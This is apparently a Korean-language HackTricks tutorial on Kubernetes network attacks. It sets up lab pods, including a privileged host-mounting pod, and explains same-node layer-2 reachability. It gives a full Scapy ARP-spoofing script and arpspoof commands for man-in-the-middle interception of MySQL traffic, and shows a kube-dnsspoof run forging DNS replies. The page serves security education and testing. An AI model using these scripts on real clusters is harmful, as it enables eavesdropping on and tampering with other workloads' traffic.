Kubernetes Network Attacks

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법:

소개

Kubernetes에서는 동일한 노드에 있는 모든 컨테이너 간의 연결을 허용하는 기본 동작이 관찰됩니다. 이는 네임스페이스의 구분 여부와 관계없이 적용됩니다. 이러한 연결은 레이어 2 (이더넷)까지 확장됩니다. 따라서 이러한 구성은 시스템을 취약점에 노출시킬 수 있습니다. 특히, 이는 악성 컨테이너가 동일한 노드에 있는 다른 컨테이너에 대해 ARP 스푸핑 공격을 실행할 수 있는 가능성을 엽니다. 이러한 공격 중에 악성 컨테이너는 다른 컨테이너를 위해 의도된 네트워크 트래픽을 속임수를 부리거나 수정할 수 있습니다.

ARP 스푸핑 공격은 로컬 영역 네트워크에서 공격자가 위조된 ARP (주소 해결 프로토콜) 메시지를 보내는 것을 포함합니다. 이로 인해 공격자의 MAC 주소가 네트워크 상의 유효한 컴퓨터 또는 서버의 IP 주소와 연결됩니다. 이러한 공격이 성공적으로 실행되면 공격자는 데이터를 가로채거나 수정하거나 중단할 수 있습니다. 이 공격은 OSI 모델의 레이어 2에서 실행되므로 Kubernetes의 이 레이어에서의 기본 연결은 보안 문제를 야기시킵니다.

다음 시나리오에서는 다음과 같이 4대의 머신이 생성됩니다:

  • ubuntu-pe: 노드로 탈출하여 메트릭을 확인하는 권한이 있는 머신 (공격에 필요하지 않음)

  • ubuntu-attack: 기본 네임스페이스에 있는 악성 컨테이너

  • ubuntu-victim: kube-system 네임스페이스에 있는 피해자 머신

  • mysql: 기본 네임스페이스에 있는 피해자 머신

echo 'apiVersion: v1
kind: Pod
metadata:
name: ubuntu-pe
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-pe
securityContext:
allowPrivilegeEscalation: true
privileged: true
runAsUser: 0
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never
hostIPC: true
hostNetwork: true
hostPID: true
volumes:
- name: host-volume
hostPath:
path: /
---
apiVersion: v1
kind: Pod
metadata:
name: ubuntu-attack
labels:
app: ubuntu
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-attack
restartPolicy: Never
---
apiVersion: v1
kind: Pod
metadata:
name: ubuntu-victim
namespace: kube-system
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-victim
restartPolicy: Never
---
apiVersion: v1
kind: Pod
metadata:
name: mysql
spec:
containers:
- image: mysql:5.6
ports:
- containerPort: 3306
imagePullPolicy: IfNotPresent
name: mysql
env:
- name: MYSQL_ROOT_PASSWORD
value: mysql
restartPolicy: Never' | kubectl apply -f -
kubectl exec -it ubuntu-attack -- bash -c "apt update; apt install -y net-tools python3-pip python3 ngrep nano dnsutils; pip3 install scapy; bash"
kubectl exec -it ubuntu-victim -n kube-system -- bash -c "apt update; apt install -y net-tools curl netcat mysql-client; bash"
kubectl exec -it mysql bash -- bash -c "apt update; apt install -y net-tools; bash"

기본 Kubernetes 네트워킹

여기에서 소개된 네트워킹 주제에 대한 자세한 내용을 원한다면, 참고 자료를 확인하십시오.

ARP

일반적으로, 노드 내에서 pod 간의 네트워킹은 모든 pod를 연결하는 브리지를 통해 가능합니다. 이 브리지는 "cbr0"라고 불립니다. (일부 네트워크 플러그인은 자체 브리지를 설치할 수도 있습니다.) cbr0는 ARP(주소 해결 프로토콜) 해결도 처리할 수 있습니다. cbr0에 도착한 패킷은 ARP를 사용하여 대상 MAC 주소를 해결할 수 있습니다.

이 사실은 기본적으로 같은 노드에서 실행되는 모든 pod가 이더넷 레벨(layer 2)에서 (네임스페이스와는 독립적으로) 같은 노드의 다른 pod와 통신할 수 있다는 것을 의미합니다.

따라서, 같은 노드의 pod 간에 ARP 스푸핑 공격을 수행할 수 있습니다.

DNS

Kubernetes 환경에서는 일반적으로 1개 (또는 그 이상)의 DNS 서비스가 실행되는 것을 찾을 수 있습니다. 일반적으로 kube-system 네임스페이스에서 실행됩니다:

kubectl -n kube-system describe services
Name:              kube-dns
Namespace:         kube-system
Labels:            k8s-app=kube-dns
kubernetes.io/cluster-service=true
kubernetes.io/name=KubeDNS
Annotations:       prometheus.io/port: 9153
prometheus.io/scrape: true
Selector:          k8s-app=kube-dns
Type:              ClusterIP
IP Families:       <none>
IP:                10.96.0.10
IPs:               10.96.0.10
Port:              dns  53/UDP
TargetPort:        53/UDP
Endpoints:         172.17.0.2:53
Port:              dns-tcp  53/TCP
TargetPort:        53/TCP
Endpoints:         172.17.0.2:53
Port:              metrics  9153/TCP
TargetPort:        9153/TCP
Endpoints:         172.17.0.2:9153

이전 정보에서 흥미로운 점을 볼 수 있습니다. 서비스의 IP10.96.0.10이지만, 서비스를 실행하는 파드의 IP172.17.0.2입니다.

파드 내부에서 DNS 주소를 확인하면 다음과 같은 내용을 찾을 수 있습니다:

cat /etc/resolv.conf
nameserver 10.96.0.10

그러나 주소에 도달하는 방법을 알지 못합니다. 이 경우 팟 범위는 172.17.0.10/26입니다.

따라서, 팟은 DNS 요청을 주소 10.96.0.10로 보내게 되고, 이는 cbr0에 의해 172.17.0.2로 변환됩니다.

이는 팟의 DNS 요청이 항상 브리지로 가서 서비스 IP를 엔드포인트 IP로 변환된다는 것을 의미합니다. 심지어 DNS 서버가 팟과 동일한 하위 네트워크에 있는 경우에도 마찬가지입니다.

이를 알고 있으며, ARP 공격이 가능하다는 것을 알고 있다면, 노드의 팟은 서브네트워크각 팟브리지 사이의 트래픽을 가로채고 DNS 응답을 수정할 수 있습니다 (DNS 스푸핑).

게다가, DNS 서버공격자와 동일한 노드에 있는 경우, 공격자는 클러스터의 모든 팟의 DNS 요청을 가로채고 응답을 수정할 수 있습니다 (DNS 서버와 브리지 사이에서).

동일한 노드의 팟에서 ARP 스푸핑

우리의 목표는 ubuntu-victim에서 mysql로의 통신을 적어도 도청하는 것입니다.

Scapy

python3 /tmp/arp_spoof.py
Enter Target IP:172.17.0.10 #ubuntu-victim
Enter Gateway IP:172.17.0.9 #mysql
Target MAC 02:42:ac:11:00:0a
Gateway MAC: 02:42:ac:11:00:09
Sending spoofed ARP responses

# Get another shell
kubectl exec -it ubuntu-attack -- bash
ngrep -d eth0

# Login from ubuntu-victim and mysql and check the unencrypted communication
# interacting with the mysql instance
arp_spoof.py
#From https://gist.github.com/rbn15/bc054f9a84489dbdfc35d333e3d63c87#file-arpspoofer-py
from scapy.all import *

def getmac(targetip):
arppacket= Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op=1, pdst=targetip)
targetmac= srp(arppacket, timeout=2 , verbose= False)[0][0][1].hwsrc
return targetmac

def spoofarpcache(targetip, targetmac, sourceip):
spoofed= ARP(op=2 , pdst=targetip, psrc=sourceip, hwdst= targetmac)
send(spoofed, verbose= False)

def restorearp(targetip, targetmac, sourceip, sourcemac):
packet= ARP(op=2 , hwsrc=sourcemac , psrc= sourceip, hwdst= targetmac , pdst= targetip)
send(packet, verbose=False)
print("ARP Table restored to normal for", targetip)

def main():
targetip= input("Enter Target IP:")
gatewayip= input("Enter Gateway IP:")

try:
targetmac= getmac(targetip)
print("Target MAC", targetmac)
except:
print("Target machine did not respond to ARP broadcast")
quit()

try:
gatewaymac= getmac(gatewayip)
print("Gateway MAC:", gatewaymac)
except:
print("Gateway is unreachable")
quit()
try:
print("Sending spoofed ARP responses")
while True:
spoofarpcache(targetip, targetmac, gatewayip)
spoofarpcache(gatewayip, gatewaymac, targetip)
except KeyboardInterrupt:
print("ARP spoofing stopped")
restorearp(gatewayip, gatewaymac, targetip, targetmac)
restorearp(targetip, targetmac, gatewayip, gatewaymac)
quit()

if __name__=="__main__":
main()

# To enable IP forwarding: echo 1 > /proc/sys/net/ipv4/ip_forward

ARPSpoof

ARPSpoof는 네트워크 내에서 ARP 프로토콜을 이용하여 공격자가 중간에서 통신을 가로채는 공격 기법입니다. 이 공격은 공격자가 자신을 라우터로 속이고, 라우터가 공격자를 신뢰하여 통신을 중개하도록 만듭니다. 이를 통해 공격자는 통신 내용을 감청하거나 수정할 수 있습니다.

ARPSpoof 공격을 수행하기 위해서는 공격자는 네트워크 내에서 ARP 패킷을 주기적으로 전송하여 다른 장치들에게 자신의 MAC 주소를 라우터의 MAC 주소로 속이는 것입니다. 이렇게 하면 공격자는 네트워크 트래픽을 가로채고 조작할 수 있게 됩니다.

ARPSpoof 공격은 중간에서 통신을 가로채는 Man-in-the-Middle(MITM) 공격의 한 형태로 사용될 수 있습니다. 이를 통해 공격자는 통신 내용을 도청하거나 수정하여 중요한 정보를 탈취할 수 있습니다. 또한, 공격자는 피해자와 라우터 사이의 통신을 차단하거나 조작하여 서비스 거부(DoS) 공격을 수행할 수도 있습니다.

ARPSpoof 공격은 네트워크 보안 취약점을 이용하여 수행될 수 있습니다. 따라서 네트워크 보안을 강화하고, ARP 프로토콜을 안전하게 사용하기 위해 적절한 대응책을 마련해야 합니다.

apt install dsniff
arpspoof -t 172.17.0.9 172.17.0.10

DNS 스푸핑

이미 언급한 대로, DNS 서버 pod의 동일한 노드에 있는 pod를 침해하면, 브리지와 DNS pod를 ARPSpoofing으로 MitM할 수 있으며 모든 DNS 응답을 수정할 수 있습니다.

이를 테스트하기 위한 아주 좋은 도구와 튜토리얼이 있습니다. https://github.com/danielsagi/kube-dnsspoof/

우리의 시나리오에서는 공격자 pod에서 도구를 다운로드하고, hosts라는 이름의 파일을 생성하여 스푸핑하려는 도메인을 지정하십시오:

cat hosts
google.com. 1.1.1.1

ubuntu-victim 머신에 대한 공격을 수행하십시오:

python3 exploit.py --direct 172.17.0.10
[*] starting attack on direct mode to pod 172.17.0.10
Bridge:  172.17.0.1 02:42:bd:63:07:8d
Kube-dns:  172.17.0.2 02:42:ac:11:00:02

[+] Taking over DNS requests from kube-dns. press Ctrl+C to stop
#In the ubuntu machine
dig google.com
[...]
;; ANSWER SECTION:
google.com.		1	IN	A	1.1.1.1

당신이 자체 DNS 스푸핑 스크립트를 만들려고 한다면, DNS 응답을 수정만 한다고 해서 작동하지 않습니다. 왜냐하면 응답은 악성 의 IP 주소인 src IP를 가지고 있기 때문에 수락되지 않을 것입니다. 피해자가 DNS 요청을 보내는 DNS의 src IP (예: 172.16.0.2)로 새로운 DNS 패킷을 생성해야 합니다. (10.96.0.10은 K8s DNS 서비스 IP이며 DNS 서버 IP가 아닙니다. 자세한 내용은 소개에서 확인할 수 있습니다).

트래픽 캡처

Mizu 도구는 Kubernetes용 간단하면서도 강력한 API 트래픽 뷰어로, 마이크로서비스 간의 모든 API 통신을 볼 수 있어 디버그 및 재귀적인 문제 해결에 도움이 됩니다. 선택한 팟에 에이전트를 설치하고 그들의 트래픽 정보를 수집하여 웹 서버에서 보여줍니다. 그러나 이를 위해서는 높은 K8s 권한이 필요하며, 그리 은밀하지는 않습니다.

참고 자료

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법:

最終更新